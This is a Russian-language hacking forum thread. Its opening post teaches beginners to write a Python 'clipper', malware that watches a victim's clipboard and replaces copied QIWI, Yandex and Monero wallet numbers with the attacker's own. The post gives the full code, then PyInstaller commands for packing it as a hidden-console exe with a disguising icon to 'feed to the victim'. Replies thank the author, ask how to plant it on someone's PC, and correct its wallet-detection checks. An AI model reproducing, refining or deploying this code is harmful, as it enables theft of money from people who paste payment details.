Как вам такая схема? (посвящение в мамкиных хацкеров)

abstract

Пользователь
Закрытый раздел
Сообщения
76
Предисловие

Clipper
- это вирус, который мониторит буфер обмена зараженного ПК на предмет реквизитов электронных кошельков и в случае индикации таких, подменяет данные в буфере на те, которые прописал создатель.

На примере:

Предположим, что на твой пк заброшен клиппер. Например, тебе нужно оплатить какую-либо услугу или провести транзакцию. Ты копируешь номер кошелька (не важно, что это: крипта, яд, webmoney, qiwi), после того, как ты скопируешь номер кошелька, клиппер cделает подмену скопированного кошелька, на кошелек создателя. Деньги улетели в неизвестном направлении и что-либо кому-либо доказать практически невозможно. ПРОФИТ!

Перейдем к практике
Написание кода


Импортируем модули, которые нам нужны:
Code:
from win32clipboard import *
from time import sleep
import os

Объявляем переменные
Code:
my_qiwi = ***QIWI***
my_yandex = ***YANDEX***
my_monero_poloniex = ***MONERO_POLONIEX***

Основная часть кода
Code:
while True: # Постоянный цикл
OpenClipboard() # Открываем буфер обмена
data = GetClipboardData() # Считываем данные из буфера обмена
CloseClipboard() # Закрываем буфера обмена (правила такие xD)
if len(data) == 12: # Если длина равна 12 символам, возможно, что это номер телефона RU
if (data.startswith("+79") or data.startswith("79") or data.startswith("89")): # Если начинается текст с "+79", "79", "89", то мы меняем его
OpenClipboard() # Открываем буфер обмена
EmptyClipboard() # Очищаем буфер обмена
SetClipboardText(my_qiwi) # Изменяем текст
CloseClipboard() # Закрываем буфера обмена
sleep(0.1) # Перерыв, так как если мы будем постоянно открывать буфер обмена, то вылетит ошибка: "Access denied"
if len(data) == 15: # Если длина равна 15 символам, возможно, что это номер кошелка Yandex
OpenClipboard() # Открываем буфер обмена
EmptyClipboard() # Очищаем буфер обмена
SetClipboardText(my_yandex) # Изменяем текст
CloseClipboard() # Закрываем буфера обмена
sleep(0.1) # Перерыв, так как если мы будем постоянно открывать буфер обмена, то вылетит ошибка: "Access denied"
if data.startswith("4JUdGzvrMFDWrUUwY3toJATSeNwjn54Lk"): # Если текст начинается на "4JUdGzvrMFDWrUUwY3toJATSeNwjn54Lk", то это точно номер кошелка Monero Poloniex
OpenClipboard() # Открываем буфер обмена
EmptyClipboard() # Очищаем буфер обмена
SetClipboardText(my_monero_poloniex) # Изменяем текст
CloseClipboard() # Закрываем буфера обмена
sleep(0.1) # Перерыв, так как если мы будем постоянно открывать буфер обмена, то вылетит ошибка: "Access denied"

Компилируем в exe, чтобы скормить наш код жертве

Воспользуемся программой PyInstaller. Ее можно установить благодаря команде, которую нам нужно ввести в CMD: pip install pyinstaller. Вот аргументы Pyinstaller'a, которые мы будем использовать:

1) -F, соберет все файлы в один exe файл .

2)-w, отключит консоль .

3)-i ***путь к иконке***, аргумент,который подключит к программе иконку .

Финальная команда для CMD: pyinstaller -F -w -i ***путь к иконке*** ***путь к файлу .py***.
 
Ух, спасибо за статью. Я только начинаю разбираться в компьютерных программах и мне было очень полезно!!!
 
Крутая тема, только где создается вирус? (я вообще не шарю в этом) И как этот вирус занести на чужой пк?
 
Условия неточные. Если номер будет начинаться с "79" или "89", тогда будет не 12 символов, а 11. Также проверка на 15 символов для ЯД недостаточна. Можно добавить, что он начинается с "4100".
 
Назад
Сверху